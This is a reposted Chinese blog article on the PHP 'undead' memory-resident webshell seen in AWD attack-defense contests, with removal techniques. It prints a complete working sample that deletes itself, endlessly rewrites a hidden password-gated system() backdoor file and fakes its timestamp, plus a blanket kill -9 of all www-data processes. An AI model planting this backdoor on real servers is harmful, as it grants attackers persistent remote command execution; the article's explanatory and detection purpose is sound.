首页 > 系统相关 >【待看】PHP内存性木马即PHP不死鸟

【待看】PHP内存性木马即PHP不死鸟

时间:2024-08-11 21:37:55浏览次数:8  
标签:文件 不死马 不死鸟 代码 木马 进程 PHP

https://mp.weixin.qq.com/s/KUA531d_3PKDsUSVgvX0CQ

PHP内存性木马即PHP不死鸟
原创 蓝胖子之家 蓝胖子之家 2023年09月17日 00:00 山东

图片

PHP内存性木马是一种比较隐蔽的恶意代码,它的特点是能够在服务器上保持持续运行,而且通常会创建隐蔽的后门,以便攻击者随时可以访问受感染的服务器。这种木马在AWD(Attack-Defense War)和Web安全竞赛中经常被用来测试和挑战安全性。

以下是一个简单的示例

示例:

<?php
  ignore_user_abort(true);
  set_time_limit(0);
  unlink(__FILE__);
  $file = '/var/www/dvwa/.ski12.php';
  $code = '<?php if(md5($_POST["pass"])=="cdd7b7420654eb16c1e1b748d5b7c5b8"){@system($_POST[a]);}?>';
  while (1) {
    file_put_contents($file, $code);
    system('touch -m -d "2023-9-16 09:10:12" .ski12.php');
    usleep(5000);
  }
?>
ignore_user_abort(true); - 这一行代码告诉服务器在客户端断开连接后继续执行脚本。这是为了确保木马脚本可以继续在后台运行,即使用户关闭了浏览器或断开了连接。

set_time_limit(0); - 这一行代码将PHP脚本的执行时间限制设置为无限制,确保脚本不会因为执行时间过长而中断。

unlink(__FILE__); - 这一行代码删除了当前运行的PHP脚本文件,使其在删除后不容易被发现。这是木马的一部分,以防止被发现。

$file = '/var/www/dvwa/.ski12.php'; - 这一行代码指定了木马脚本将要写入的文件路径,这里是.ski12.php文件。

$code = '<?php if(md5($_POST["pass"])=="cdd7b7420654eb16c1e1b748d5b7c5b8"){@system($_POST[a]);}?>'; - 这是木马脚本的主要部分,它包含了一个基于POST请求的密码验证,如果提供的密码正确,就允许执行系统命令。这是后门的一部分,允许攻击者远程控制服务器。

while (1) { ... } - 这是一个无限循环,它会不断将上述的木马代码写入指定的文件,并且使用system命令修改文件的修改时间,以隐藏木马的存在。

file_put_contents($file, $code); - 这一行代码将木马代码写入指定的文件中。

system('touch -m -d "2023-9-16 09:10:12" .ski12.php'); - 这一行代码使用system命令修改文件的修改时间,以隐藏木马的存在。

usleep(5000); - 这一行代码让程序暂停5000微秒(即0.005秒),以便下一次循环。

查杀方法

重启服务:重启服务器上受感染的服务是一种有效的方法,因为它会终止所有正在运行的进程,包括木马程序。但这并不总是可行,因为可能会中断正常的服务并影响其他用户。

终止www-data用户的子进程:这个命令会查找所有属于www-data用户的子进程,并强制终止它们。www-data用户通常用于运行Web服务器(如Apache或Nginx),而攻击者可能会尝试利用这个用户来运行木马。终止这些进程可以停止木马的执行。
ps aux | grep www-data | awk '{print $2}' | xargs kill -9

这个命令会强制终止进程,

这个命令是用来查找并终止与www-data用户相关的进程。具体来说,它的作用是:

ps aux:列出当前运行的所有进程。

grep www-data:筛选出包含"www-data"的进程。

awk '{print $2}':提取这些进程的第二列,也就是进程ID。

xargs kill -9:将这些进程ID作为参数传递给kill -9命令,强制终止这些进程。

需要注意的是,使用kill -9命令会强制终止进程,

3.创建同名目录:这个方法利用木马的自我保护机制。木马通常会检测是否存在与其文件名相同的目录,如果存在,则不会执行。因此,创建一个同名目录可以防止木马再次执行。

4.编写竞争写入脚本:这是一种更高级的方法,它尝试不断写入和删除不死马文件,以阻止木马的正常执行。需要确保竞争写入脚本的usleep()时间小于不死马的usleep()时间,以确保它能够成功干扰木马

持续地终止不死马进程并删除不死马文件

<?php
// 创建一个数组,用于存储所有已知的不死马文件路径
$malwareFiles = array(
    "不死马的文件路径1",
    "不死马的文件路径2",
    // 添加更多的不死马文件路径
);

// 进入一个无限循环,用于持续清除不死马
while (true) {
    // 终止不死马进程
    // 使用 shell_exec 命令执行系统命令来获取不死马进程的PID
    // 并使用 kill -9 命令强制终止进程
    $processes = shell_exec("ps aux | grep 不死马的进程名 | grep -v grep | awk '{print $2}'");

    // 将获取的PID字符串按行分割成数组
    $processes = explode("\n", trim($processes));

    // 遍历PID数组并逐个终止不死马进程
    foreach ($processes as $pid) {
        if (!empty($pid)) {
            shell_exec("kill -9 $pid");
        }
    }

    // 删除不死马文件
    // 遍历存储不死马文件路径的数组
    foreach ($malwareFiles as $file) {
        // 检查文件是否存在
        if (file_exists($file)) {
            // 如果文件存在,则使用 unlink 函数删除文件
            unlink($file);
        }
    }

    // 暂停脚本执行,以避免过多系统资源占用
    usleep(1000); // 暂停1000微秒,即0.001秒,然后再继续下一次循环
}
?>
$malwareFiles数组:这个数组用于存储所有已知的不死马文件路径。你需要将实际不死马文件的路径添加到这个数组中,确保代码可以找到并删除这些文件。

while (true) 循环:这是一个无限循环,用于持续执行清除不死马的操作。

终止不死马进程:使用 shell_exec 命令来执行系统命令,获取不死马进程的PID。grep 命令用于筛选出包含不死马进程名的行,grep -v grep 用于排除 grep 命令本身的匹配结果。然后使用 awk 命令提取PID。继而,foreach 循环遍历所有PID,使用 kill -9 命令强制终止不死马进程。

删除不死马文件:通过遍历 $malwareFiles 数组,检查每个文件是否存在(使用 file_exists 函数),如果文件存在,则使用 unlink 函数删除文件。

usleep(1000):这一行代码暂停脚本的执行,以避免过多系统资源占用。它会在每次循环之后暂停1000微秒(即0.001秒),然后再继续下一次循环。

这段代码的目标是持续地终止不死马进程并删除不死马文件,以确保不死马无法再次运行。请确保将示例代码中的 "不死马的文件路径1" 和 "不死马的文件路径2" 替换为实际不死马文件的路径。

后台回复9.16获取查杀工具

非常重要的一点是,我们要明确使用计算机和编程技术的目的是为了学习和测试,而不是进行非法攻击或者违法行为。编写和使用代码时,我们必须遵守法律法规,并且获得相关授权。如果您有合法的目的和授权,那么可以继续进行测试和使用。但是,如果您违反了法律法规或者未经授权使用,后果将由您自己承担。请务必谨慎行事,遵守法律规定,以确保计算机和网络的安全。

小黑板:非法攻击计算机系统是一种违法行为,违反了计算机安全法规。根据中华人民共和国刑法,非法攻击计算机系统可能构成非法侵入计算机信息系统罪、非法获取计算机信息系统数据、非法控制计算机信息系统罪、提供侵入、非法控制计算机信息系统程序、工具罪等罪名。根据《中华人民共和国刑法》规定,违反国家规定,侵入前款规定以外的计算机信息系统或者采用其他技术手段,获取该计算机信息系统中存储、处理或者传输的数据,或者对该计算机信息系统实施非法控制,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金;情节特别严重的,处三年以上七年以下有期徒刑,并处罚金。提供专门用于侵入、非法控制计算机信息系统的程序、工具,或者明知他人实施侵入、非法控制计算机信息系统的违法犯罪行为而为其提供程序、工具,情节严重的,依照前款的规定处罚。单位犯前三款罪的,对单位判处罚金,并对其直接负责的主管人员和其他直接责任人员,依照各该款的规定处罚

微信扫一扫
关注该公众号

标签:文件,不死马,不死鸟,代码,木马,进程,PHP
From: https://www.cnblogs.com/o-O-oO/p/18353764

相关文章

  • PHP Objiect Injection
    一、概述PHPObjectInjection(PHP对象注入)是一种安全漏洞,可以允许攻击者在应用程序中注入恶意对象。这种漏洞出现在未正确过滤和验证用户输入数据的情况下,特别是在序列化和反序列化操作中。在PHP中,对象序列化是将对象转换为可以存储或传输的格式的过程。反序列化则是将存储或......
  • php程序对微信你昵称的表情处理导出excel文件
     php程序对微信昵称的表情处理,若转义存数据库,怎么读出并导出成excel文件.<?phpinclude(dirname(__FILE__).'/phpexcel-1.7.7/Classes/PHPExcel.php');include(dirname(__FILE__).'/phpexcel-1.7.7/Classes/PHPExcel/IOFactory.php');$name2="[[EMOJI:%F0%9F%......
  • 在 ThinkPHP 6 控制器中使用文件锁机制
    创建锁管理类首先,创建一个锁管理类来处理文件锁:namespaceapp\common\service;useException;classLockManager{private$lockFilePath;private$lockFile;publicfunction__construct($lockFilePath){$this->lockFilePath=$lockFileP......
  • Docker搭建多版本PHP环境
    最近由于项目需要,需要同时启动多个项目,但是一个项目是php5.6,一个项目是php7.4,还有一个是php8.0,但是我需要同时运行,所以需要搭建一个多版本的开发环境,基于此自己实现了一个dnmpDNMP是基于docker部署的Nginx、PHP、MySQL开发环境支持php5.6、php7.0、php7.1、php7.2、php7......
  • php在线客服系统
    这是一款网上流传泛滥的旧版本的PHP客服源码。强烈不建议部署使用。网上的源码大部分都有后门,会被控制服务器权限,会被偷取资料或者搞破坏。网上版本的PHP进程会无端僵死,表现就是发了消息不实时推送,这是PHP的语言限制导致的是优化不了的。基于ThinkPHP5+workerman,整体架构比......
  • centos7 yum安装php5.6以及扩展
    1.启用Remi仓库sudoyuminstall-yhttp://rpms.remirepo.net/enterprise/remi-release-7.rpm2.使用yum-config-manager来启用PHP5.6存储库。yuminstall-yyum-utilssudoyum-config-manager--enableremi-php563.安装PHP5.6及其模块sudoyuminstall-yph......
  • CentOS使用ClamAV查杀木马病毒
    相对Windows来说,CentOS是很少有病毒和木马的,但是随着挖矿行为的兴起,服务器也越来越容易成为黑客的攻击目标,一方面我们需要加强安全防护,另外如果已经中毒,则需要使用专业工具进行查杀。ClamAV是开源的专业病毒、木马、恶意软件的查杀工具,支持多种Linux发行版,包括CentOS。安装Cla......
  • 【待做】ThinkPHP系统常被挂马的代码
    https://mp.weixin.qq.com/s/fn_v0ydNSJ7g2nhujv621gThinkPHP系统常被挂马的代码原创秋刀鱼儿啊php学习交流吧2024年07月31日22:58广东在使用ThinkPHP框架(无论是版本3、5还是6)进行开发时,也有一些常见的代码结构和实践,如果不当,可能会导致安全漏洞,从而容易被攻击者利用......
  • php实现一个简单的安装程序
    只是为了测试,具体可以参考其他开源软件的写法原理都是动态创建数据库,导入基础sql,包含管理员信息。然后生成一个install.lock的文件,下次进来判断有这个文件,证明是安装过了html<!DOCTYPEhtml><htmllang="en"><head><metacharset="UTF-8"><title>安装程序</title>......
  • php 使用phpoffice/phpword导出word
    安装指令composerrequirephpoffice/phpword 基本设置/***//设置常用文本样式*'size'=>12,//文字大小*'name'=>'宋体',//字体名称*'bold'=>true,//加粗*'italic'......